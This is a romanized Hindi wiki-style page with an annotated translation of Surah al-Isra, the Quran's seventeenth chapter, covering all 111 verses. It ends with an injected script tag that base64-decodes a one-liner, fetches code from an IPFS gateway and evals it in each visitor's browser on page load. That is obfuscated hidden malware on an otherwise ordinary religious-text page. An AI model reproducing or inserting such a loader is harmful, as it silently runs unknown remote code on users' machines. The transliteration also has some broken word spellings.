अल-इस्र

al-isr - 111 ayatean, 12 ruku, makka soora
al-isr islam dharm ke pavitr granth quran ka 17vaan soora (adhyay) hai jisamean 111 ayatean hoti haian.
17:1 - vah khuda (har aib se) pak v pakiza hai jisane apane bandoan ko ratoan rat masjidul haram (khan ai kaba) se masjidul aqasa (asamani masjid) tak ki sair karaee jisake chaugird hamane har kism ki barakat muhayya kar rakhi haian taki ham usako (apani kudarat ki) nishaniyaan dikhae isamean shaq nahian ki (vah sab kuchh) sunata (aur) dekhata hai
17:2 - aur hamane moosa ko kitab (taurait) ata ki aur us ko bani isaraeel ki rahanuma qarar diya (aur hukm de diya) ki ai un logoan ki aulad jinhean ham ne nooh ke sath kashti mean savar kiya tha
17:3 - mere siva kisi ko apana karasaz n banana beshak nooh b da shukr guzar banda tha
17:4 - aur hamane bani isaraeel se isi kitab (taurait) mean saf saph bayan kar diya tha ki tum log rue zamin par do marataba zarur phasad phailaoge aur b di sarakashi karoge
17:5 - phir jab un do phasadoan mean pahale ka vakt aa pahuancha to hamane tum par kuchh apane bandoan (najatulanasr) aur usaki phauj ko musallat (galib) kar diya jo b de sakht l dane vale the to vah log tumhare gharoan ke andar ghuse (aur khoob qatl v garat kiya) aur khuda ke azab ka vayada jo poora hokar raha
17:6 - phir hamane tumako dobara un par galaba dekar tumhare din phere aur mal se aur betoan se tumhari madad ki aur tumako b de jatthe vala bana diya
17:7 - agar tum achchhe kam karoge to apane phayade ke lie achchhe kam karoge aur agar tum bure kam karoge to (bhi) apane hi lie phir jab doosare vakt qa vayada a pahuancha to (hamane taitoos rogi ko tum par musallat kiya) taki vah log (marate marate) tumhare chehare biga d dean (ki pahachane n jao) aur jis tarah pahali dapha masjid baitul muqaddas mean ghus gaye the usi tarah phir ghus p dean aur jis chiz par qaboo pae khoob achchhi tarah barabad kar di
17:8 - (ab bhi agar tum chain se raho to) ummid hai ki tumhara paravaradigar tum par taras khae aur agar (kahian) vahi shararat karoge to ham bhi phir pak deange aur hamane to kaphiroan ke lie jahannum ko qaid khana bana hi rakha hai
17:9 - isamean shaq nahian ki ye quran us rah ki hidayat karata hai jo sabase jyada sidhi hai aur jo eemanadar achchhe achchhe kam karate haian unako ye khushakhabari deta hai ki unake lie bahut b da ajr aur savab (maujood) hai
17:10 - aur ye bhi ki beshak jo log akhirat par eeman nahian rakhate haian unake lie hamane dardanak azab taiyar kar rakha hai
17:11 - aur adami kabhi (ajiz hokar apane haq mean) buraee (azab vagairah ki dua) is tarah maangata hai jis tarah apane lie bhalaee ki dua karata hai aur adami to b da jaldabaz hai
17:12 - aur hamane rat aur din ko (apani qudarat ki) do nishaniyaan qarar diya phir hamane rat ki nishani (chaand) ko dhuandhala banaya aur din ki nishani (sooraj) ko raushan banaya (ki sab chize dikhaee dean) taki tum log apane paravaradigar ka phazal dhooandhate phiroan aur taki tum barasoan ki ginati aur hisab ko jano (boojhoan) aur hamane har chiz ko khoob achchhi tarah taphasil se bayan kar diya hai
17:13 - aur hamane har adami ke name amal ko usake gale ka har bana diya hai (ki usaki kismat usake sath rahe) aur qayamat ke din ham use usake samane nikal ke rakh degean ki vah usako ek khuli huee kitab apane rubaru paega
17:14 - aur ham usase kaheangean ki apana name amal padhale aur aj apane hisab ke lie too ap hi kafi haian
17:15 - jo shakhsh rubaru hota hai to bas apane phayade ke lie yah par ata hai aur jo shakhsh gumarah hota hai to usane bhatak kar apana ap biga da aur koee shakhsh kisi doosare (ke gunah) ka bojh apane sar nahian lega aur ham to jab tak rasool ko bhejakar tamam hujjat n kar lean kisi par azab nahian kiya karate
17:16 - aur hamako jab kisi basti ka viran karana manzoor hota hai to ham vahaan ke khushahaloan ko (itaat ka) hukm dete haian to vah log usamean napharamaniyaan karane lage tab vah basti azab ki mustahaq hogi us vakt hamane use achchhi tarah tabah v barabad kar diya
17:17 - aur nooh ke bad se (us vakt tak) hamane kitani ummatoan ko halak kar mara aur (ai rasool) tumhara paravaradigar apane bandoan ke gunahoan ko janane aur dekhane ke lie kafi hai
17:18 - (aur gavah yahid ki zarurat nahian) aur jo shakhsh duniya ka khvahaan ho to ham jise chahate aur jo chahate haian usi duniya mean siradast (fauran) use ata karate haian (magar) phir hamane usake lie to jahannum thahara hi rakha hai ki vah usamean buri halat se rauanda hua dakhil hoga
17:19 - aur jo shakhsh akhir ka mutamini ho aur usake lie khoob jaisi chahie koshish bhi ki aur vah eemanadar bhi hai to yahi vah log haian jinaki koshish maqabool hogi
17:20 - (ai rasool) unako (garaz sabako) ham hi tumhare paravaradigar ki (apani) bakhshis se madad dete haian aur tumhare paravaradigar ki bakhshis to (am hai) kisi par band nahian
17:21 - (ai rasool) zara dekho to ki hamane baz logoan ko baz par kaisi phazilat di hai aur akhirat ke darje to yaqinan (yahaan se) kahian badhake hai aur vahaan ki phazilat bhi to kaisi badh kar hai
17:22 - aur dekho kahian khuda ke sath doosare ko (usaka) sharik n banana varana tum bure hal mean zalil rusava baithai ke baithean rah jaoge
17:23 - aur tumhare paravaradigar ne to hukm hi diya hai ki usake siva kisi doosare ki ibadat n karana aur maan bap se neki karana agar unamean se ek ya donoan tere samane budhape ko pahuanche (aur kisi bat par khapha hoan) to (khabaradar unake javab mean uph tak) n kahana aur n unako jhi dakana aur jo kuchh kahana sunana ho to bahut adab se kaha karo
17:24 - aur unake samane niyaz (rahamat) se khakasari ka pahaloo jhukae rakho aur unake haq mean dua karo ki mere palane vale jis tarah in donoan ne mere chhotepan mean meri meri paravarish ki hai
17:25 - isi tarah too bhi in par raham pharama tumhare dil ki bat tumhara paravaradigar khoob janata hai agar tum (vaqee) nek hoge aur bhoole se unaki khata ki hai to vah tumako bakhsh dega kyoanki vah to tauba karane valoan ka b da bakhashane vala hai
17:26 - aur qarabatadaroan aur mohataj aur paradesi ko unaka haq de do aur khabaradar phuzool kharchi mat kiya karo
17:27 - kyoanki phuzoolakharchi karane vale yaqinan shaitanoan ke bhaee hai aur shaitan apane paravaradigar ka b da nashukri karane vala hai
17:28 - aur tumako apane paravaradigar ke phazal v karam ke intazar mean jisaki tum ko ummid ho (majabooran) un (gariboan) se muanh mo dana p de to narami se unako samajha do
17:29 - aur apane hath ko n to gardan se bandha hua (bahut tang) kar lo (ki kisi ko kuchh do hi nahian) aur n bilkul khol do ki sab kuchh de dalo aur akhir tum ko malamat zada hasarat se baithana p de
17:30 - isamean shaq nahian ki tumhara paravaradigar jisake lie chahata hai rozi ko pharakh (badha) deta hai aur jisaki rozi chahata hai tang rakhata hai isamean shaq nahian ki vah apane bandoan se bahut bakhabar aur dekhabhal rakhane vala hai
17:31 - aur (logoan) muphalisi (garibi) ke khauph se apani aulad ko qatl n karo (kyoanki) unako aur tum ko (sabako) to ham hi rozi dete haian beshak aulad ka qatl karana bahut sakht gunah hai
17:32 - aur (dekho) zina ke pas bhi n phatakana kyoanki beshak vah b di behayaee ka kam hai aur bahut bura chalan hai
17:33 - aur jis jan ka marana khuda ne haram kar diya hai usake qatl n karana magar jayaz taur par aur jo shakhsh nahaq mara jae to hamane usake varis ko (qatil par qasas ka qaboo diya hai to use chahie ki qatl (khoon ka badala lene) mean jyadati n kare beshak vah madad diya jaega
17:34 - (ki qatl hi kare aur maph n kare) aur yatim jab tak javani ko pahuanche usake mal ke qarib bhi n pahuanch jana magar haan is tarah par ki (yatim ke haq mean) behatar ho aur ehad ko poora karo kyoanki (qayamat mean) ehad ki zarur poochh gachh hogi
17:35 - aur jab nap taul kar dena ho to paimane ko poora bhar diya karo aur (jab taul kar dena ho to) bilkul thik tarajoo se taula karo (mamale mean) yahi (tariqa) behatar hai aur anjam (bhi usaka) achchha hai
17:36 - aur jis chiz ka ki tumhean yaqin n ho (khvah ma khvah) usake pichhe n p da karo (kyoanki) kan aur aauankh aur dil in sabaki (qayamat ke dina yaqinan bazapurs hoti hai
17:37 - aur (dekho) zamin par ak d kar n chala karo kyoanki too (apane is dhamake ki chal se) n to zamin ko haragiz pha d dalega aur n (tanakar chalane se) haragiz lambaee mean paha doan ke barabar pahuanch sakega
17:38 - (ai rasool) in sab batoan mean se jo buri bat hai vah tumhare paravaradigar ke nazadik napasand hai
17:39 - ye bat to hikamat ki un batoan mean se jo tumhare paravaradigar ne tumhare pas 'vahi' bheji aur khuda ke sath koee doosara mabood n banana aur n too malamat zada raind (dhutkara) hokar jahannum mean jhoank diya jaega
17:40 - (ai musharekin makka) kya tumhare paravaradigar ne tumhean chun chun kar bete die haian aur khud betiyaan li haian (yani) pharishte isamean shaq nahian ki b di (sakht) bat kahate ho
17:41 - aur hamane to isi quran mean tarah tarah se bayan kar diya taki log kisi tarah samajhean magar usase to unaki napharat hi badhati gee
17:42 - (ai rasool unase) tum kah do ki agar khuda ke sath jaisa ye log kahate haian aur mabood bhi hote to ab tak un maboodoan ne arsh tak (pahuanchane ki koee n koee rah nikal li hoti
17:43 - jo behooda batean ye log (khuda ki nisbat) kaha karate haian vah unase bahut badhake pak v pakiza aur baratar hai
17:44 - satoan asaman aur zamin aur jo log inamean (sab) usaki tasbih karate haian aur (sare jahaann) mean koee chiz aisi nahian jo usaki (hamd v sana) ki tasbih n karati ho magar tum log unaki tasbih nahian samajhate isamean shaq nahian ki vah b da burdabar bakhshane vala hai
17:45 - aur jab tum quran padhate ho to ham tumhare aur un logoan ke daramiyan jo akhirat ka yaqin nahian rakhate ek gahara parda dal dete haian
17:46 - aur (goya) ham unake kanoan mean garani paida kar dete haian ki n sun sakean jab tum quran mean apane paravaradigar ka tanha zikr karate ho to kuphphar ulate pavan napharat karake (tumhare pas se) bhag kh de hote haian
17:47 - jab ye log tumhari taraph kan lagate haian to jo kuchh ye gaur se sunate haian ham to khoob janate haian aur jab ye log baham kan mean bat karate haian to us vakt ye zalim (eemanadaroan se) kahate haian ki tum to bas ek (divane) adami ke pichhe p de ho jis par kisi ne jadoo kar diya hai
17:48 - (ai rasool) zara dekho to ye kambakht tumhari nisbat kaisi kaisi phabtiyaan kahate haian to (isi vajah se) aise gumarah hue ki ab (haq ki) rah kisi tarah pa hi nahian sakate
17:49 - aur ye log kahate haian ki jab ham (marane ke bad s d gal kar) haddiyaan rah jaeangean aur reza reza ho jaeangean to kya naye sire se paida karake utha kh de kie jaeangean
17:50 - (ai rasool) tum kah do ki tum (marane ke bad) chahe patthar ban jao ya loha ya koee aur chiz jo tumhare khyal mean b di (sakht) ho
17:51 - aur usaka zinda hona dushvar ho vah bhi zarur zinda ho gee to ye log anaqarib hi tum se poochhegean bhala hamean dobara kaun zinda karega tum kah do ki vahi (khuda) jisane tumako pahali marataba paida kiya (jab tum kuchh n the) is par ye log tumhare samane apane sar matakaeangean aur kahegean (achchha agar hoga) to akhir kab tum kah do ki bahut jald anaqarib hi hoga
17:52 - jis din khuda tumhean (isaraphil ke zarie se) buanlaega to usaki hamdo sana karate hue usaki tamil karoge (aur qabroan se nikaloge) aur tum khyal karoge ki (marane ke bad qabroan mean) bahut hi kam thahare
17:53 - aur (ai rasool) mere (sachche) bandoan (mominoan se kah do ki vah (kaphiroan se) bat karean to achchhe tariqe se (sakht kalami n karean) kyoanki shaitan to (aisi hi) batoan se phasad dalavata hai isamean to shaq hi nahian ki shaitan adami ka khula hua dushman hai
17:54 - tumhara paravaradigar tumhare hal se khoob vaqiph hai agar chahega tum par raham karega aur agar chahega tum par azab karega aur (ai rasool) hamane tumako kuchh un logoan ka zimmedar banakar nahian bheja hai
17:55 - aur jo log asamanoan mean hai aur zamin par haian (sab ko) tumhara paravaradigar khoob janata hai aur ham ne yaqinan baz paigambaroan ko baz par phazilat di aur ham hi ne daood ko jooboor ata ki
17:56 - (ai rasool) tum unase kah doan ki khuda ke siva aur jin logoan ko mabood samajhate ho unako (vakt pade) pukar ke to dekho ki vah n to tum se tumhari takaliph hi dapha kar sakate haian aur n usako badal sakate haian
17:57 - ye log jinako musharekin (apana khuda samajhakar) ibadat karate haian vah khud apane paravaradigar ki qurabat ke zarie dhooandhate phirate haian ki (dekho) inamean se kaun jyada kurabat rakhata hai aur usaki rahamat ki ummid rakhate aur usake azab se darate haian isamean shaq nahian ki tere paravaradigar ka azab darane ki chiz hai
17:58 - aur koee basti nahian hai magar roz qayamat se pahale ham use tabah v barabad kar chho degean ya (napharamani) ki saza mean us par sakht se sakht azab karegean (aur) ye bat kitab (lauhe mahaphooz) mean likhi ja chuki hai
17:59 - aur hamean maujizat bhejane se kisi chiz ne nahian roka magar isake siva ki agaloan ne unhean jhuthala diya aur hamane qaume samood ko (maujize se) ooantani ata ki jo (hamari kudarat ki) dikhane vali thi to un logoan ne us par zulm kiya yahaan tak ki mar dala aur ham to maujize sirph darane ki garaz se bheja karate haian
17:60 - aur (ai rasool) vah vakt yad karo jab tumase hamane kah diya tha ki tumhare paravaradigar ne logoan ko (har taraph se) rok rakha hai ki (tumhara kuchh biga d nahian sakate aur hamane jo khvab tumako dikhalaya tha to bas use logoan (ke eeman) ki azamaish ka zariya thaharaya tha aur (isi tarah) vah darakht jis par quran mean lanat ki gee hai aur ham bavajood ki un logoan ko (tarah tarah) se darate haian magar hamara darana unaki sakht sarakashi ko badhata hi gaya
17:61 - aur jab ham ne pharishtoan se kaha ki adam ko sajada karo to sabane sajada kiya magar ibalis vah (gurur se) kahane laga ki kya mai aise shakhsh ko sajada karuan jise toone mitti se paida kiya hai
17:62 - aur (shekhi se) bola bhala dekho to sahi yahi vah shakhsh hai jisako toone mujh par phazilat di hai agar too mujh ko qayamat tak ki mohalat de to maian (dave se kahata hooan ki) kam logoan ke siva isaki nasl ki j d katata rahooanga
17:63 - khuda ne pharamaya chal (door ho) unamean se jo shakhsh teri pairavi karega to (yad rahe ki) tum sabaki saza jahannum hai aur vah bhi poori poori saza hai
17:64 - aur isamean se jis par apani (chikani chup di) bat se qaboo pa sake vah aau aur apane (cheloan ke lashkar) savar aur paidal (sab) se chadhaee kar aur mal aur aulad mean unake sath sajha kare aur unase (khoob jhoothe) vayade kar aur shaitan to unase jo vayade karata hai dhokhe ke siva kuchh nahian hota
17:65 - beshak jo mere (khas) bandean haian un par tera zor nahian chal (sakata) aur karasazi mean tera paravaradigar kafi hai
17:66 - logoan) tumhara paravaradigar vah (qadire muttaliq) hai jo tumhare lie samandar mean jahazoan ko chalata hai taki tum usake phazal v karam (rozi) ki talash karo isamean shaq nahian ki vah tum par b da meharaban hai
17:67 - aur jab samandar mean kabhi tum ko koee takaliph pahuanche to jinaki tum ibadat kiya karate the gayab ho ge magar bas vahi (ek khuda yad rahata hai) us par bhi jab khuda ne tum ko chhutakara dekar khushaki tak pahuancha diya to phir tum isase muanh mo d baithean aur insan b da hi nashukra hai
17:68 - to kya tum usako is ka bhi itminan ho gaya ki vah tumhean khushki ki taraph (le jakar) (qarun ki tarah) zamin mean dhansa de ya tum par (qaum) loot ki tarah pattharoan ka meanh barasa de phir (us vakt) tum kisi ko apana karasaz n paoge
17:69 - ya tumako isaka bhi itmenan ho gaya ki phir tumako dobara isi samandar mean le jaega usake bad hava ka ek aisa jhoka jo (jahaz ke) parakhache u da de tum par bheje phir tumhean tumhare kuphr ki saza mean duba mare phir tum kisi ko (aisa himayati) n paoge jo hamara pichha kare aur (tumhean chho da jae)
17:70 - aur hamane yaqinan adam ki aulad ko ijzat di aur khushki aur tari mean unako (janavaroan kashtiyoan ke zarie) lie lie phire aur unhean achchhi achchhi chizean khane ko di aur apane bahutere makhalooqat par unako achchhi khasi phazilat di
17:71 - us din (ko yad karo) jab ham tamam logoan ko un peshavaoan ke sath bulaeangean to jisaka name amal unake dahine hath mean diya jaega to vah log (khush khush) apana name amal padhane lagegean aur un par resha barabar zulm nahian kiya jaega
17:72 - aur jo shakhsh is (duniya) mean (jan boojhakar) aandha bana raha to vah akhirat mean bhi aandha hi rahega aur (najat) ke raste se bahut door bhataka sa hua
17:73 - aur (ai rasool) hamane to (quran) tumhare pas 'vahi' ke zarie bheja agar che log to tumhean isase bahakane hi lage the taki tum quran ke alava phir (doosari batoan ka) ifatera baandhoan aur (jab tum ye kar guzarate us vakt ye log tum ko apana sachcha dost bana lete
17:74 - aur agar ham tumako sabit qadam n rakhate to zarur tum bhi zara (zahoor) jhukane hi lagate
17:75 - aur (agar tum aisa karate to) us vakt ham tumako zindagi mean bhi aur marane par bhi dohare (azab) ka maza chakha dete aur phir tum ko hamare muqabale mean koee madadagar bhi n milata
17:76 - aur ye log to tumhean (sar zamin makke) se dil bardasht karane hi lage the taki tum ko vahaan se (sham ki taraph) nikal bahar karean aur aisa hota to tumhare pichhe mean ye log chand roz ke siva thaharane bhi n pate
17:77 - tumase pahale jitane rasool hamane bheje haian unaka barabar yahi dastoor raha hai aur jo dastoor hamare (thaharae hue) haian unamean tum tagyyur tabaddul (raddo badal) n paoge
17:78 - (ai rasool) sooraj ke dhalane se rat ke aandhere tak namaze zohar, asr, magarib, isha padha karo aur namaz subah (bhi) kyoanki subah ki namaz par (din aur rat donoan ke pharishtoan ki) gavahi hoti hai
17:79 - aur rat ke khas hisse mean namaje tahajjud padha karo ye sunnat tumhari khas phazilat haian qarib hai ki qayamat ke din khuda tumako maqame mahamood tak pahuancha de
17:80 - aur ye dua maanga karo ki ai mere paravaradigar mujhe (jahaan) pahuancha achchhi tarah pahuancha aur mujhe (jahaan se nikal) to achchhi tarah nikal aur mujhe khas apani baragah se ek hukoomat ata pharama jis se (har qism ki) madad pahuanche
17:81 - aur (ai rasool) kah do ki (din) haq a gaya aur batil nestanabood hua isamean shaq nahian ki batil mitane vala hi tha
17:82 - aur ham to quran mean vahi chiz nazil karate haian jo mominoan ke lie (sarasar) shipha aur rahamat hai (magar) napharamanoan ko to ghate ke siva kuchh badhata hi nahian
17:83 - aur jab hamane adami ko neamat ata pharamaee to (ulte) usane (hamase) muanh phera aur pahaloo bachane laga aur jab use koee takaliph chhoo bhi gee to mayoos ho baitha
17:84 - (ai rasool) tum kah do ki har (ek apane tariqe par karaguzari karata hai phir tum mean se jo shakhsh bilkul thik sidhi rah par hai tumhara paravaradigar (usase) khoob vaqiph hai
17:85 - aur (ai rasool) tumase log ruh ke bare mean saval karate haian tum (unake javab mean) kah do ki rooh (bhi) mere paradigar ke hukm se (paida hueehai) aur tumako bahut tho da sa ilm diya gaya hai
17:86 - (isaki haqikat nahian samajh sakate) aur (ai rasool) agar ham chahe to jo (quran) hamane tumhare pas 'vahi' ke zarie bheja hai (duniya se) utha le jaean phir tum apane vaste hamare muqabale mean koee madadagar n paoge
17:87 - magar ye sirph tumhare paravaradigar ki rahamat hai (ki usane aisa kiya) isamean shaq nahian ki usaka tum par b da phazal v karam hai
17:88 - (ai rasool) tum kah do ki (agar sare duniya jahaann ke) adami aur jin is bat par ikatthe ho ki us quran ka misal le aean to (na mumakin) usake barabar nahian la sakate agarache (usako koshish mean) ek ka ek madadagar bhi bane
17:89 - aur hamane to logoan (ke samajhane) ke vaste is quran mean har qism ki masalean adal badal ke bayan kar dian us par bhi aksar log bagair nashukri kie nahian rahate
17:90 - (ai rasool kuphphar makke ne) tumase kaha ki jab tak tum hamare vaste zamin se chashma (n) baha nikaloge ham to tum par haragiz eeman n laeangean
17:91 - ya (ye nahian to) khajooroan aur aangooroan ka tumhara koee bag ho usamean tum bich bich mean nahare jari karake dikha do
17:92 - ya jaisa tum guman rakhate the ham par asaman hi ko tuk de (tuk de) karake girao ya khuda aur pharishtoan ko (apane qaul ki tasdiq) mean hamare samane (gavahi mean la kh da kar diya
17:93 - aur jab tak tum ham par khuda ke yahaan se ek kitab n nazil karoge ki ham use khud padh bhi lean us vakt tak ham tumhare (asaman par chadhane ke bhi) qayal n hogean (ai rasool) tum kah do ki subahan allah mai ek adami (khuda ke) rasool ke siva akhir aur kya hooan
17:94 - (jo ye behooda batean karate ho) aur jab logoan ke pas hidayat a chuki to unako eeman lane se isake siva kisi chiz ne n roka ki vah kahane lage ki kya khuda ne adami ko rasool banakar bheja hai
17:95 - (ai rasool) tum kah do ki agar zamin par farishte (base huye) hote ki itmenan se chalate phirate to ham un logoan ke pas farishte hi ko rasool banakar nazil karate
17:96 - (ai rasool) tum kah do ki hamare tumhare daramiyan gavahi ke vaste bas khuda kafi hai isamean shaq nahian ki vah apane bandoan ke hal se khoob vaqiph aur dekhata rahata hai
17:97 - aur khuda jisaki hidayat kare vahi hidayat yaphata hai aur jisako gumarahi mean chho d de to (yad rakho ki) phir usake siva kisi ko usaka saraparast n paage aur qayamat ke din ham un logoan ka muanh ke bal auandhe aur gooangean aur bahare qabroan se uthaeangean unaka thikana jahannum hai ki jab kabhi bujhane ko hogi to ham un logoan par (use) aur bh daka deange
17:98 - ye saza unaki is vazah se hai ki un logoan ne hamari ayatoan se inkar kiya aur kahane lage ki jab ham (marane ke bad s d gal) kar haddiyaan aur reza reza ho jaeangian to kya phir ham naye sire se paida karake uthae jaeangean
17:99 - kya un logoan ne is par bhi nahian gaur kiya ki vah khuda jisane sare asaman aur zamin banae is par bhi (zarur) qadir hai ki unake aise adami dobara paida kare aur usane un (ki maut) ki ek miyad muqarrar kar di hai jisamean zara bhi shaq nahian us par bhi ye zalim inkar kie bagair n rahe
17:100 - (ai rasool) inase kaho ki agar mere paravaradigar ke rahamat ke khazane bhi tumhare ekhatiyar mean hote to bhi tum kharch ho jane ke dar se (unako) band rakhate aur adami b da hi tang dil hai
17:101 - aur hamane yaqinan moosa ko khule hue nau maujize ata kie to (ai rasool) bani isaraeel se (yahi) poochh dekho ki jab moosa unake pas ae to phiraun ne unase kaha ki ai moosa mai to samajhata hooan ki kisi ne tum par jadoo karake divana bana diya hai
17:102 - moosa ne kaha tum ye zarur janate ho ki ye maujize sare asaman v zamin ke paravaradigar ne nazil kie (aur vah bhi logoan ki) soojh boojh ki batean haian aur ai phiraun mai to khyal karata hooan ki tum par yamat aee hai
17:103 - phir phiraun ne ye than liya ki bani isaraeel ko (sar zamine) miò se nikal bahar kare to hamane phiraun aur jo log usake sath the sab ko dubo mara
17:104 - aur usake bad hamane bani isaraeel se kaha ki (ab tum hi) is mulk mean (khoob aram se) raho saho phir jab akhirat ka vayada a pahuanchega to ham tum sabako samet kar le aeangean
17:105 - aur (ai rasool) hamane is quran ko bilkul thik nazil kiya aur bilkul thik nazil hua aur tumako to hamane (jannat ki) khushakhabari dene vala aur (azab se) darane vala (rasool) banakar bheja hai
17:106 - aur quran ko hamane tho da tho da karake isalie nazil kiya ki tum logoan ke samane (zarurat p dane par) mohalat de dekar usako padh diya karo
17:107 - aur (isi vajah se) hamane usako raphta raphta nazil kiya tum kah do ki khvah tum is par eeman lao ya n lao isamean shaq nahian ki jin logoan ko usake qabl hi (asamani kitaboan ka ilm ata kiya gaya hai unake samane jab ye padha jata hai to thudadiyoan se (muanh ke bal) sajade mean gir p datean haian
17:108 - aur kahate haian ki hamara paravaradigar (har aib se) pak v pakiza hai beshak hamare paravaradigar ka vayada poora hona zaruri tha
17:109 - aur ye log (sajade ke lie) muanh ke bal gir p datean haian aur rote chale jate haian aur ye quran un ki khakasari ke badhata jata hai (109) (sajada)
17:110 - (ai rasool) tum (unase) kah do ki (tum ko ekhatiyar hai) khvah use allah (kahakar) pukaro ya rahaman kah kar pukaro (garaz) jis nam ko bhi pukaro usake to sab nam achchhe (se achchhe) haian aur (ai rasool) n to apani namaz bahut chilla kar padho n aur n bilkul chupake se balki usake daramiyan ek ausat tarika ekhteyar kar lo
17:111 - aur kaho ki har tarah ki tariph usi khuda ko (sazavar) hai jo n to koee aulad rakhata hai aur n (sare jahaann ki) saltanat mean usaka koee sajhedar hai aur n use kisi tarah ki kamazori hai n koee usaka saraparast ho aur usaki b daee achchhi tarah karate raha karo

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• al-isr
• Surah Israel / সূরা বনী ইসরাঈল

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>